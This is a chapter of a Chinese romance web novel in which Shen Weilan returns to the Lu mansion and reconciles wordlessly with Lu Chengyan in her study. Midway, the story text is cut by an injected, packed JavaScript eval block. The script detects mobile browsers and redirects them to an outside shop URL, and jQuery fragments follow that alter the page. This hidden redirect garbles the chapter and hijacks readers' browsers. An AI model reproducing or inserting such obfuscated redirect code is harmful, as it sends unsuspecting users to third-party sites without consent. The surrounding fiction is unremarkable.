沈微澜在金融街的公寓醒来，天刚亮。
窗帘只拉了一半，城市的光已经退成浅灰。她躺了一会儿，起身洗漱，去书房处理事务。
等到天快黑了，她开始收拾行李。
她收拾得很快。几本书，电脑，几套换洗衣物，小型保险柜，还有母亲留下的那只铁盒。和搬出来时一样，来去都只占一只深色的行李箱。
这一个月，她在这间公寓里积下的东西不多。几件后来随手添置的日用品，阳台上两盆蔫下去的绿萝。她一样没带。
经过玄关，她的脚步慢了半拍。
柜子上空了一块。原来放铜壶的位置，落着一层薄薄的灰。她伸手，用指腹在那一小块灰上抹了一下，抹出一道干净的印子。
她站了几秒，把视线收回来。
出门前，她坐进车里，没有立刻发动。她拿着手机，打开那个对话框，打了小半天字，最后什么也没发，把手机放在副驾上，发动了车。
盘山路上，暮色已经漫上来。香樟一株株往后退，叶背在晚风里翻出深色。山下的灯海逐次亮起，由远及近，铺成一片。
她开得不快不慢。车窗半开，傍晚的风灌进来，把她耳边一缕头发吹起来。
这条路，她一个月没走了。
……
车拐上宅子前的坡道，门房老远就认出了车牌。
铁门缓缓打开。门房从岗亭里探出身，腰弯下去，脸上的笑意压都压不住，又不敢太明显，只低声说了一句：“夫人，您回来了。”
沈微澜“嗯”了一声，把车开进去。
管家已经在廊下候着，接过她手里的行李箱，动作利落，嘴上那套客气话说得一如往常，只是末了一句，尾音轻轻落下去：“夫人，您回来了。”
和门房一样的话，从这个人嘴里说出来，分量不一样。
陆家的佣人和沈家一样，受过训练，不该流露的情绪绝不多露。沈微澜在这栋宅子里住了不算短的日子，从没见过管家失态。可此刻，管家站在廊下，腰背挺得笔直，眼圈却微微泛着点红，像熬了很久，此刻终于松了绷得很紧的一口气。
沈微澜忽然想起自己刚搬进来的那天。
管家也是这样站在廊下，客客气气，不卑不亢，一句多余的话都没有。那时候她把这栋宅子当成一个暂住的地方，也把自己当成一个住客。现在她再看这个人的脸，才发觉，有些东西已经不一样了。
她不知道，这一个月，整栋宅子都像被谁调慢了节拍。饭菜照常上桌，地板擦得发亮，香樟树依旧满树清芬。
可偏偏哪里都空落落的，像少了一件很重要的东西，或者说，一个重要的人。可谁也不敢说破。
圈子里那阵“失宠”的闲话，传不到这栋宅子里。即使传得进来，也没人信。这一个月，没人把她当“前女主人”。佣人们提起她，还和从前一样，压着嗓子，客客气气地称一声“夫人”，像她只是出了趟远门，随时会回来。
“先生呢。”她问。
“先生在楼上，”管家接过话，“不久前刚从公司回来。”
沈微澜点了点头。
管家似乎还想说什么。她张了张嘴，又咽回去，只低声道：“夫人累了吧，先上去歇着，晚饭我让厨房准备您爱吃的。”
沈微澜“嗯”了一声，往里走。
客厅里，花瓶插着新换的白玉兰枝，茶几上摆着一碟洗好的葡萄，紫莹莹的果粒簇拥在一起，果皮上沾着几粒水珠。她的视线在那碟葡萄上多停了几秒。
……
楼上很静。
暖黄色的壁灯还亮着，落地窗外的香樟投下细碎的影子，窗下薰衣草的气味浮在空气里，很淡，混着暮色里的凉意。
长走廊铺着地毯，吞没了行李箱的滚动声和脚步声。
她没让管家跟着，先回了房间，把箱子靠在墙边，没有急着打开。房间里的一切都在原位，床铺得平整，窗帘半掩，床头那两本书还放在原处，书签夹在原来的页数。
站了一会儿，她转身往书房走。
离开了一个月，她第一个想去的地方，是书房。
这间书房，是这栋宅子里最像她的地方。她在这里读过母亲的日记，排过复仇的局，也在这里把门反锁，一个人坐到深夜。它装着她的笔，书，以及她所有不肯让人看见的东西。
她在走廊里慢慢走。软底拖鞋踩在地毯上，几乎没有声音。
这一个月，她在金融街的公寓里偶尔也深夜工作。可那种工作和这里不一样。这里有一整面墙的书架，她习惯的灯光，和窗外那棵香樟。
走到书房门口，她伸手去握门把。
然后，她停住了。
门虚掩着。
里面透出一道暖黄的光晕，从半开的门里溢出来，铺在走廊的地毯上。空气里有极淡的雪松气味，像不久前有人从这扇门里走过，把那股气息留在了这里。
沈微澜的心，猛地跳了一下。
这间书房，她走的时候，确实虚掩着，但灯是关着的。她亲手检查过。卧房的壁灯她忘了关，可书房的灯，按钮触感很凉，按下去，“嗒”地响了一声，她记得。
现在，门虚掩着，灯开着。有人来了。
她的指尖搭在门把上，没有用力。金属的凉意顺着皮肤往上爬。
她忽然有些不敢推。
她活了二十八年，没怕过什么。沈鸿远的算计，陆家的暗流，她都不怕。可此刻，她站在这扇虚掩的门前，心跳快得像要从胸口撞出来。
片刻后，她推开了门。
陆承衍坐在书桌前。
书桌前，有两把椅子并排放着。她常坐的那把空着，陆承衍坐在旁边那把上，侧对着门。
他像是刚回来不久，脱了西装外套，搭在椅背上，只穿一件深色衬衫，领口解了一颗扣子，袖口挽到小臂。台灯的光从他侧面打过来，勾出眉骨和鼻梁的线条，下颌线利落。
他低头看着腿上摊开的书，翻过一页，喉结很轻地动了一下。
他听见门被推开的声音，抬起头。
两人视线撞上的那一刻，他眼里有一瞬的意外，很快沉下去。
“你回来了。”陆承衍开口，声音低沉平稳，没有半分被撞破的慌乱，也没有要起身追过来的意思。
沈微澜的脚先动了。
她后退半步，手还搭在门把上，身体已经侧过去，下一秒就要把门重新带上。这个动作快过她的脑子。她看见了书房里多出来的那个人，本能替她做了决定，退出去，关上门，当作什么都没看见。
陆承衍看见了她的动作，目光落在她身上，很静。
“这是你的书房，”他说，“你不用站在门口。”
沈微澜停住了。
陆承衍站起身，却没有朝她走过来。
他走到书桌边，把腿上的书合上，放到桌上，又抬手，把台灯的旋钮拧暗了一点。
一瞬间，灯暗下去，书房沉进半明半昧。他站在灯影里，半张脸隐在暗处，一双眼睛却比灯还亮，静静地落在她身上。
落地窗外，香樟树影和山下的灯海在他身后铺开，他整个人像从半明半暗里浮出来，冷而清晰。
“进来吧。”他说。
沈微澜的手指在门把上慢慢收紧。
片刻后，她迈步进来了。
她反手把门带上，声音很轻。但她没有往里走，停在离门几步的地方，背对着门。
“我回来拿几本书。”她说。
话一出口，她就后悔了。这借口太拙劣，她忍不住轻轻咬了一下自己舌尖。
陆承衍看了她一眼，没有戳穿。
“书都在原位，一本没动。”他说。
沈微澜顺着他的话，看向那面书架。
她留了几本书在这里，现在那几本书仍在，一本没动。她走时没带走的那些琐碎物品，笔筒、镇纸，都在老地方。连她随手放在书桌的半本便签，都还按原来的角度摆放。
然后，她的目光落在了那两把椅子上。
一把是她常坐的，空着。
另一把，她之前没见过。他刚才就坐在上面。
“这椅子。”她听见自己开口，“哪来的。”
“我搬的。”
陆承衍顿了顿，又说：“你不在，我不坐你的位子。就搬了一把，并排放着。你如果回来了，好有地方坐。”
他说得很慢，像在解释一件连他自己都说不清的事。
沈微澜本该松一口气。
可她听见自己的心跳，开始一下比一下重。
她以为，看见自己的东西没有被翻动，她会安心。可她发现自己没有。
陆承衍越克制，她越心慌。
“你想坐哪儿坐哪儿。”沈微澜别开眼，声音淡下去，“这宅子是你的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887699|212611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这话刺出去，像一根针。
她等着他接，等他解释，或者等他也冷下来，这样她就能顺理成章地转身离开。
陆承衍看着她，沉默了几秒，然后走到落地窗边，背对着她，站定了。
他把整间书房让给了她，自己退到了最远的地方。他就那么站着，没有再说一个字。
沈微澜背对着门，看着他的背影。
她的刺落了空。他不接，退得干干净净。那根针没刺到他，反而扎回了她自己。
沈微澜忽然有点难受。
她的目光在书房里游移，落到书桌一角。
然后，她整个人僵住了。
书桌角落摆着那只铜壶。
黄铜的壶身泛着一层温润的暗光，壶嘴那道缺口朝外。
是她送他的那只。
送他那天，他就是这么摆的，缺口朝外。她把壶递给他，他垂着眼，指腹在壶嘴上慢慢摩挲，然后摆正。
现在，它摆在她的书桌上，缺口朝外，和那天一模一样。
沈微澜盯着那只铜壶，喉咙发紧。
最近，她偶尔会想起这把壶，以及他摩挲壶嘴的样子。她以为它会被放进他的书房，或者某个她看不见的地方。
可它在这里，被放在她的书房里。
“你为什么把它放这儿。”沈微澜问。
陆承衍站在窗边，没有回头：“它该在这儿。”
“你为什么在这里。”沈微澜终于问出口。
这次，陆承衍没有回答。
沈微澜等了几秒。窗边的人一动不动，像没听见，又像是，听见了，却不知道怎么答。
沈微澜的心慢慢往下沉。
“我累了。”沈微澜突然说，“我先回房。”
她转身，走了几步，手已经碰到了门把。
就在她要拧开门的瞬间，身后传来陆承衍的声音。
“这里最像你。”
他声线低沉，不轻不重的几个字，像在陈述一件再简单不过的事。
沈微澜的手停在门把上。
她没有回头。
窗外的夜色已经沉下来，山下的灯海在黑暗里连成一片，混着昏暗的灯光，照在地板上。落地窗旁边的推拉窗拉开了一条缝，风从那条缝里挤进来，带着香樟的气味。
沈微澜站了很久。
她想起母亲。光着脚在走廊里走，像一只困在笼子里的鸟。曾经，她怕自己活成那样，被一个人填满，再被连骨头一起吞下去。
可此刻，有个人，连她坐过的椅子都不敢坐，只搬了一把，并排放着，给她留了位子。
他把说不出口的话，都摆在了她眼前。
沈微澜松开了门把。
片刻后，她转过身，走了回来。
她没有看陆承衍，走到自己那把椅子前，坐下了。
陆承衍没有立刻动。窗边的那个人，像是听见了她的脚步声，却还没从她这个举动里回过神来。
过了好一会儿，陆承衍转过身，走过来，坐回旁边那把椅子。
两个人并排坐着。窗外的香樟在夜色里绿得发暗，树影落进来，落在书桌上，地上，和他们的影子并排铺着。
两人中间那段距离很窄。窄到沈微澜只要再挪一点，手肘就会碰到他的。
她没挪。陆承衍也没有。
谁都没有再说话。只有窗外香樟叶被风吹动的细响。
沈微澜闻得到他身上的雪松味。近在咫尺。
这一个月，她在某些走神的瞬间想起过这个味道，此刻它就和她距离一条窄缝，真实而温热。
过了很久，陆承衍侧过头看她。
沈微澜觉察到了，但没有对上他的目光，只盯着窗外。
可是，她的耳朵逐渐烫起来，一路烫到脖子。
又过了几秒，陆承衍开口，声音很轻：“你回来了就好。”
沈微澜没应声。
过了几秒，她极轻地“嗯”了一声。
窗外，山下的灯海连成一片，从山脚漫到天边。
这一晚，沈微澜在陆家吃了晚饭。陆家厨师手艺很好，晚饭都是她爱吃的，饭后还给她做了一个栗子蛋糕。
夜里，她睡得很好，像生平头一回，坠入一个安宁的故乡。
她做了一个安稳的梦。梦里，她恍恍惚惚地想，如果这里真的是故乡，那她怕是逃不出去了。